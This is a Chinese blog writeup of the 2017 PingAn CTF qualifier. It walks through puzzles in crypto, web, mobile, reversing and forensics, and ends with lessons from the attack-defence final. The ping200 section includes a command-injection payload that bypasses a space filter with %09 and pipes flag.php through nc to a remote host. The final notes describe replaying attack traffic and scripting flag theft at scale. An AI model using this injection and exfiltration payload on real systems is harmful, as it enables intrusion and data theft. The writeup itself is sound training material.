CTF

PingAn第一届CTF(初赛writeup+线下攻防赛经验)

"CTF"

Posted by y1r0nz on December 18, 2017

前言

​ 经历了一个多月的线下初赛到线上决赛,算是真正从ctf小白到入了门。自学ctf的过程比较心累,最后的结果也没有意外,但是真正的收获却来之不易。这里要感谢同事小伙伴的支持,决赛新人三人组对抗其他战队四人已经很6了。不得不说我们部门作为决赛主办方的组织也棒棒的,点赞。同时,这次ctf邀请了长亭作为培训和出题方全程负责,跪舔大佬的过程本身也是一种享受。。哈哈。

​ 正规的ctf比赛分为线上初赛和线下决赛两个环节,线上初赛题目涉及比较广,主要分为web、pwn、reverse、crypto、mobile、misc等,其中misc包含的杂项比较多,比赛选手可以根据自己擅长的方向选择题目。下面是我们N0p战队线上初赛的writeup。


0x01 checkin1

​ 送分题一般比较简单,稍微看下题即可

img

没想到在平安的二级域名也看的了源码,挺神奇的,具体怎么弄的真不理解

直接在浏览器中输入view-source:pingan.com就可以看到flag。

Writeup后面写的好像做了更改。。


0x02 babyxor200

​ 这道题只给出了密文,看来key是要从已知的条件中推出来。首先看加密的代码:

img

明文 = 明文 + ’|’ + key

Key为len(plaintext)//len(key)个key重复,然后再拼接key的前len(plaintext)-len(key)个字符.

为了方便理解,我贴出了一个plaintext最后18位(“|key”)和key的最后18位异或的示意图(key的长度为17,后面会有解释),分别对应第一、第二行。

img

我们知道异或的一个规律,就是一个数异或同一个数两次的结果是它本身。而拼接后的paintext和key的最后17位都包含原始key串。虽然没有对齐,但是可以看成是key的移位(rotate)。此题中,可以看成下面的原始key左移了15位或者右移了两位。

还有一个关键的突破点就是管道符’|’。

密文cipher的倒数第18位即为’|’与key[14]异或的结果。所以,将cipher[-18]再次与’|’异或,即可得到key[14]。

观察上图,能发现key[14]与key[16]异或,得到的是cipher的最后一位,所以cipher[-1]异或key[14]又能得到key[16]。

就这样一步一步倒推,直到推出所有key的位。

还没说key的长度是如何得来的= =.

就是简单粗暴…..爆破

将上面的规律抽象成表达式,从2开始以此尝试。当key=17时,得到的key是可打印的ascii字符。再用此key解密,即得到flag。Poc如下。

#encoding = 'utf-8'
import traceback

import base64

import sys

#print sys.getdefaultencoding()

cipher = 'BCU8EGwlJzAdBjAcGCgaFxgsNyEKIy9iOBxDLwFePVtEIj1kOxBsJisnCg1jHFd4HQ0GaSYnF2wuLDIKT2MJVjxVDA5pKScQOGEuOBkGYwFMeAYLSyg3chcjYSQ0Cg9jBld4AQsZPTEgCiImYiMKBDENTCtVAgQ7ZCUCPzUnNU8aJglKK1lEBSwyNxFsKiw+GEM3AF14FxEZJy08BGwyKjACBmMHXngURAYsJTxDLS8mcR8GNxxBeAUFGD1/chAjYS44GQZjHFA5AUhLLT07DSttYjkKQy4BXzABRBgoPWhDLS0ucQIaYwRRPhBISygoPkMhOGIiGxEmBl8sHUQcLDY3QysoNDQBQzcHGCwdAUsvLTwGPzViMg4WMA0YMRtECiUochckJGImABEvDBR4AQwOaSI7BCQ1YjcAEWMcUD1VKAIrISACOCgtP08MJUh1ORsPAicgfEMEJDA0TwowSEwwEEQbOy0oBmwnLSNPFysBS3gZAR0sKGhDKi0jNhQ3Kw1nNRQDAiobJQw+JR04HDw7B0olCS0vGyceIg4QLTIsC3swTTwe'

cipher = base64.b64decode(cipher)

len_cipher = len(cipher)

for i in range(2, 30):

    try:

        len_key = i

        if i % 3 == 0: #key不能被3整除

            continue

        print('key=', i)

        key = list(cipher[0-len_key:]) #extract key

        #print(key)

        #################################################

        #  '|'| 0| 1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16

        #   14|15|16|0|1|2|3|4|5|6|7| 8| 9|10|11|12|13|14

        #################################################

        #  '|'| 0| 1|2 |3 |4 |5 |6 |7 |8 |9 |10|11|12|13|14|15|16|17

        #   8 | 9|10|11|12|13|14|15|16|17|0 |1 |2 |3 |4 |5 |6 |7 |8

        rotate = len(cipher) % len(key) #补齐的位数

        index = {} #创建映射

        index1 = range(len_key)

        index2 = list(range(len_key))[rotate: len_key] + list(range(len_key))[:rotate]

        for i in zip(index1, index2):

            index[i[1]] = i[0]

        #print(index)

        #{0: 2, 1: 3, 2: 4, 3: 5, 4: 6, 5: 7, 6: 8, 7: 9, 8: 10, 9: 11, 10: 12, 11: 13, 12: 14, 13: 15, 14: 16, 15: 0, 16: 1}

        key[rotate -1] = chr(cipher[0-len_key-1] ^ ord('|')) #key[14]

        cipher_tmp = cipher[0-len_key:]

        i=rotate - 1 #14

        while True:

            #print i, index[i]    

            #print(key[i])

            key[index[i]] = chr(cipher_tmp[index[i]] ^ ord(key[i]))

            i = index[i]

            if i == rotate - 1:

                break

        #print(key)

        print(''.join(key))

    except:

        #print('key:', key)

        print(traceback.print_exc())


0x03 ping200

从题目标题就可以看出这道题与命令执行有关,一开始一直以为是SSRF。

img

进入系统ping本地127试一下,发现返回的是success,证明可以对服务器本地主机做一些动作。

img

从php源代码角度思考,ping其实在服务器中是一条命令,服务端估计将ping这条指令写死在代码中,同时通过传入post数据包的ping参数拼接从而执行命令,返回结果。在linux系统中,管道符’|’可以拼接多个指令,但是服务端貌似对空格做了过滤,联想到空格的代替字符%09,发现可以成功绕过过滤,但是服务端只返回命令执行成功与否不能得到我们要的flag,这时想到用nc本地反向监听服务端数据,最后得到payload:127.0.0.1%09|%09cat%09flag.php%09|%09nc%09远程主机的ip地址%09端口 在远程主机上得到flagimg


0x04 login100

​ 这题100分,感觉不难,打开url发现是个登陆页面,有验证码,一开始就放弃了sql注入的念头

img

随便输入username,password,验证码固定,用burp repeater拦截重放一下,发现验证码可以重复使用

img

根据题目提示密码是某个特殊的日子,并且是管理员的,由此可以猜想管理员的用户名是admin,密码可能是一个日期,想想一年365天,用burp跑下也不难,关键是看日期是什么格式。这里用burp intruder模块设置下payload

img

跑下查看返回体大小,得到20171031,果然可以成功登陆

img

所以flag就是这个数字

flag{20171031}


0x05 weird_rsa300

这道题目考了一个很偏的RSA的知识点。

一般RSA解密中需要知道这几个参数:p,q,e,

题中给了一个相当大的n,看到它觉得解出来已经是不可能了,但是还是放在http://factordb.com/上试了一下。分解的结果居然是说这是一个绝对素数!

img

查了N多资料,最后在github的一篇文章上锁定了答案:

img

意思是说,phi不需要用(p-1)(q-1)来求解,而是可以替换成(n-1)(n-1)。

最重要的问题已经解决,接下来使用gmpy2库即可轻松解决。Poc如下。

import gmpy2
import binascii
e = 65537 #encryption
n = gmpy2.mpz(26221250500210405881132117557481723828766403943957950577451874805030106596081117375156772427206128405044267565826746522083073344532158814742511219204087934469113726393167485385378981630858737362324790588554286527642921364757519448451820127769942271309179542598449740660811048250973469013409521371791098074887056492924891157941526458248272889917641905464741404650030958545690892412495947165576458308474382558997629624440993069542093798549029729504677699266868041518498869029774178904303543559872895807099482683032802362220977267523960685985521766229201489330046455426324265875811125282379015211742752299449996253304837)
c = gmpy2.mpz(14761226233619930913789444725092447007613560598267346585342315453772027264412167927977755707329661392276505024453621240583362624447351938222371314669018972810255713416361723565228156367311359232833988723297469009681586000128401084727085783675600327001956247797488990161285491545910756889281566068792425724492472261816080144975111092812011003235523336908625210763606938142957083944176073970599497683544430874740263720939640031645375948163111883171958810033385293575085726496009401227983165821316892351815472499136007182227653441941290055629867880246323810810538976514884239316177241582108067917829554426524658993662096)
d = gmpy2.invert(e, (n-1)*(n-1))
#print d
p = pow(c, d, n)
#print ''
print 'plaintext: ', p
hex_str = hex(p)
flag = binascii.unhexlify(hex(p)[2:])
print flag

0x06 random300

​ 这题访问链接是php代码,所以这题跟php代码审计有关

img

一开始在题中发现有md5的函数,还以为是md5拓展长度攻击,溯源发现要hash的明文是随机值,根本不可能知道长度,所以改变思路,继续读代码。发现判断语句对get类型url请求中的go参数和check参数分开做了判断,第一次在客户端随便输入go参数,没有输入check参数时会将session值清空,这说明下一次只要输入check参数,不输入go参数就可以使if($_GET[‘ckeck’] === $_SESSION[‘rand’])为真,就得到flag了,这个逻辑其实挺奇怪的,不知道算不算bug。

img


0x07 future100

​ Mobile的题一般都与android反编译有关,把下载apk包,直接开Jeb大法分析

img

在MainActivity类中发现i函数有个int类型数组猜想这个数组估计和flag有关,关键返回值是取了v2变量的9到13位,正好是flag字符串,猜想后面只要把int数组转成ascii对应字符就行了

img

试着以ascii编码转成字符试试,果然得到flag

flag{gH*d2^3F_458u94^}


0x08 good_boy200

在汇编代码中即可直接看到flag:

(在IDA中需要用’r’键将字符串转换为ascii码。)

img


0x09 usb_200

一开始拿到这题挺懵逼的,不知道如何下手,谷歌关键字一下发现还是有参考资料的,这题主要用usb键盘协议有关,pcap包中使用wireshark打开,看到Protocol 为USB协议。USB协议的数据部分在Leftover Capture Data域之中,每次key stroke都会产生一个事件,使用tshark提取Leftover Capture Data域信息

tshark.exe –r usb.pcap –T fields –e usb.capdata > usbdata.txt

​ 打开usbdata.txt文件,根据题目提示密码是6位数字,

img翻看usb keyboard协议表发现第三列以后为普通按键,参考https://www.amobbs.com/thread-4823160-1-1.html

img

所以只看第三列,发现有8个字节比较奇怪

img

查表可知这些16进制字符代表的键盘值,参考

http://d1.amobbs.com/bbs_upload782111/files_41/ourdev_651088NZ5EKW.pdf

以按键动作为顺序分别为

7->2->0->0->回退键->5->3->回退键->9->3

正好为720593六位数,组合成flag格式提交成功

Flag{720593}


0x10 my_secret250

这题是一个ELF文件算法逆向的题,下载文件直接放IDA中静态分析,坑比较多。

首先拿到程序习惯性的扔linux跑一下,定位到start方法,发现有调用sub_084函数,跟进去看看。直接看汇编代码难度太大,直接F5吧

img

这个函数相当于main函数,可以明显的看到与终端进行了三次交互,结合跑程序的结果,可以猜想这三次应该与跑程序对应关系如下

img

puts: What is my secret

fgets: 接收用户终端输入

puts: Wait a minutes

所以程序主要判断流程在第二个puts之后,所以可以先略过前面代码,我们来看下sub_F29函数

img

这个函数是一个字符串与字符的按位异或,注意a1字符串是指针格式,a1最终结果为异或操作后的结果,result不用管,注意这里char a2是个字符型变量,占8位,这个后面会用到。

返回到sub_084,我们再来看看循环判断的sub_1036函数,

img

跟进sub_111A(),这里有个坑,就是rand()%6的结果恒为0-5之间,所以dword_202134的值恒为95,96,97,98,99,100这6个数,记住这点很重要,是这题关键。

img

再来看看sub_10D5()

img

又到sub_1163()了。。。看到这里估计绝望了吧,其实压根就不要管sub_1163()这破玩意,我们要想为了输出结果while是肯定要为真的,至于off_2020E8和s是什么和那6个数的哪一个数可以使返回值为-1,这些都并不重要。返回到sub_DB4()继续跟,来到sub_F83()函数

img

sub_FA8不用管,直接看sub_107E()

img

重点函数,通过比较s1和s2的值返回正确与否,同时前面还要用sub_F29传入s1再异或一次,看看s2是一个字符串’T^SUI_KmAWQ@WFm[AmJ]@O’

img

所以这里我猜想,只要让s1为这个字符串将算法逆过去就可以得到flag了,因为s1和s2的值相等才能返回正确结果。

总结如下:

由前面分析可知s1经过的函数包含两次sub_F29(),所以要对字符串’T^SUI_KmAWQ@WFm[AmJ]@O’两次反异或,第一次反异或需要异或的字符是刚说那6个数乘8的某一个(取后8位,至于为什么前面说过),第二次反异或需要异或的数为58,写个脚本分别遍历刚说的那6个数,使字符串经过两次异或后得到6个结果,脚本如下:

str = 'T^SUI_KmAWQ@WFm[AmJ]@O'

xor_list = [760,768,776,784,792,800]

def dec2char():

    for i in range(len(xor_list)):

       bin_str = bin(xor_list[i])

       xor_list[i] = int(bin_str[-8:] , base = 2)

       #print (xor_list[i])

def reverse_xor():

    reverse_list = []

    reverse_str1 = ''

    reverse_str2 = ''

    for xor_data in xor_list:

       for i in range(len(str)):

           reverse_str1 += chr(ord(str[i]) ^ xor_data)

       reverse_list.append(reverse_str1)

       reverse_str1 = ''

    for s in reverse_list:

       for k in range(len(s)):

           reverse_str2 += chr(ord(s[k]) ^ 58)

       print (reverse_str2)

       reverse_str2 = ''

if name == 'main':

    dec2char()

    reverse_xor()



运行结果:

img

得到flag


0x11 missing300

刚开始掉进了一个很大的坑。。。

一直在分析文本内容,发现了每个句子中的单词长度只有两种,然后分别对应0和1,把所有的都串起来得到一个二进制字符串,解一下啥也得不出来。

后来从文件上进行分析,把zip放入ue查看。

Zip的文件头为0x04034b50,即50 4B 03 04

img

搜索50 4B 03 04定位到0.txt:

img

一直查到8.txt之后,往后面扫了一下,发现了可疑的9.txt。

img

文件头被修改成了00000000。

在ue中修改一下:

img

使用binwalk提取,得到9.txt。里面就有flag。

img

####线下攻防挑战赛

打完这次线下攻防赛才知道之前在x盟打的那次线下攻防赛啥都不是,线下攻防赛能够得分的点不光是攻击拿到其他队伍服务的flag,最重要的是能够实时分析其他队伍对自己服务器的攻击流量,重放这些攻击流量和payload,同时修补自己服务上的漏洞,这才是真正的攻防赛。

比赛是以回合制计分,每一回合拿到对手战队服务主机的flag为计分点,总共48个回合。我们既可以攻击别人的服务得分,也可以防守自己服务,修补自己服务漏洞防止对手得分。因为是回合制,在比赛中后期,自己队伍没有通过攻击和源码审计发现应用服务漏洞的情况下,捕获服务器流量,重放攻击流量显得尤为重要。

中后期流程可以分为一下几个阶段,可以让组内的小伙伴分工合作,过程可以总结如下:分析流量——>重放流量——>编写批量获取flag脚本——>修补服务自己服务漏洞——>破坏对手应用服务。这个回合只要你修复了你服务的漏洞,并实现了自动化脚本攻击,那么下个回合就可以大幅度提升你得分量。在攻防赛中,能够拿到0day固然重要,但是每个队维护的服务是一样的,而且流量对于每个对都是可见的。所以更加重要的是能够掌握对手的攻击流量,实现自动化的脚本攻击,更进一步能够使对手的服务不可用。

以上就是我们战队在这次ctf中学到的所有东西。